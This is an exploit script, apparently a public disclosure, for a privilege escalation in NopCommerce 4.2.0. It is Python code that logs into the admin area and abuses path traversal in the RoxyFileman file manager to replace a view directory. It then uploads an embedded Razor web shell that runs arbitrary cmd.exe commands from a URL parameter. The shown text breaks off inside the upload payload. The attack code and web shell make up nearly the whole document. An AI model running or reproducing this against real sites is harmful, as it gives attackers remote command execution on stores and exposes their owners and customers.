# Vulnerability Title: NopCommerce 4.2.0 - Privilege Escalation # Author: Alessandro Magnosi (d3adc0de) # Date: 2019-07-07 # Vendor Homepage: https://www.nopcommerce.com/ # Software Link : https://www.nopcommerce.com/ # Tested Version: 4.2.0 # Vulnerability Type: Privilege Escalation # Tested on OS: Windows 10, CentOS, Docker # Exploit designed for: NopCommerce 4.2.0 on IIS import requests import argparse from bs4 import BeautifulSoup from requests.packages.urllib3.exceptions import InsecureRequestWarning import warnings warnings.filterwarnings("ignore", category=UserWarning, module='bs4') def proxy(flag): return {"http" : "http://127.0.0.1:9090", "https" : "http://127.0.0.1:9090"} if flag else None def geturl(baseurl, type): if type == "login": return baseurl + "/login" elif type == "mv": return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=RENAMEDIR&d=%2fimages%2fuploaded%2f..%2F..%2F..%2F..%2F..%2F..%2F..%2Finetpub%2fwwwroot%2fnopcommerce%2fViews%2fCommon%2f&n=Common2" elif type == "mkdir": return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=CREATEDIR&d=%2fimages%2fuploaded%2f..%2F..%2F..%2F..%2F..%2F..%2F..%2Finetpub%2fwwwroot%2fnopcommerce%2fViews%2f&n=Common" elif type == "put": return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=UPLOAD" elif type == "contactus": return baseurl + "/contactus" else: return "" def login(email, password, url, proxy): res = requests.get(geturl(url, "login"), proxies=proxy, verify=False, allow_redirects=False) cookie = res.cookies.get_dict() soup = BeautifulSoup(res.text, features="html.parser") token = soup.find("input", {"name":"__RequestVerificationToken"})["value"] res = requests.post(geturl(url, "login"), cookies=cookie, data={"Email":email, "Password":password, "__RequestVerificationToken":token, "RememberMe":"false"}, proxies=proxy, verify=False, allow_redirects=False) cookies = res.cookies.get_dict() return { **cookies, **cookie } def shellupload(email, password, url, proxy): print("[+] Trying uploading shell from") cookies = login(email, password, url, proxy) # Rename Common Directory requests.get(geturl(url, "mv"), headers={"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, proxies=proxy, cookies=cookies, verify=False, allow_redirects=False) # Create Common Directory requests.get(geturl(url, "mkdir"), headers={"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, proxies=proxy, cookies=cookies, verify=False, allow_redirects=False) # Upload File into Common requests.post(geturl(url, "put"), headers={"Content-Type" : "multipart/form-data; boundary=---------------------------3125261928760" ,"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, data="-----------------------------3125261928760\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n-----------------------------3125261928760\r\nContent-Disposition: form-data; name=\"method\"\r\n\r\najax\r\n-----------------------------3125261928760\r\nContent-Disposition: form-data; name=\"d\"\r\n\r\n/images/uploaded/../../../../../../../../../../inetpub/wwwroot/nopcommerce/Views/Common/\r\n-----------------------------3125261928760\r\nContent-Disposition: form-data; name=\"files[]\"; filename=\"ContactUs.cshtml\"\r\nContent-Type: image/png\r\n\r\n@using System\r\n@using System.Diagnostics\r\n\r\n@{ \r\n ViewData[\"Title\"] = \"MVC Sh3ll Windows\";\r\n var result = \"\";\r\n var cmd = Context.Request.Query[\"cmd\"];\r\n if (!String.IsNullOrEmpty(cmd)){\r\n result = Bash(cmd);\r\n }\r\n\r\n if (String.IsNullOrEmpty(result)){\r\n result = \"Invalid command or something didn't work\";\r\n }\r\n\r\n}\r\n\r\n@functions{\r\n public static string Bash (string cmd)\r\n {\r\n var result = \"\";\r\n var escapedArgs = cmd.Replace(\"\\\"\", \"\\\\\\\"\");\r\n var process = new Process()\r\n {\r\n StartInfo = new ProcessStartInfo\r\n {\r\n FileName = \"cmd.exe\",\r\n Arguments = $\"/C \\\"{escapedArgs}\\\"\",\r\n RedirectStandardOutput = true,\r\n UseShellExecute = false,\r\n CreateNoWindow = true,\r\n }\r\n };\r\n\r\n process.Start();\r\n result = process.StandardOutput.ReadToEnd();\r\n process.WaitForExit();\r\n\r\n return result;\r\n }\r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n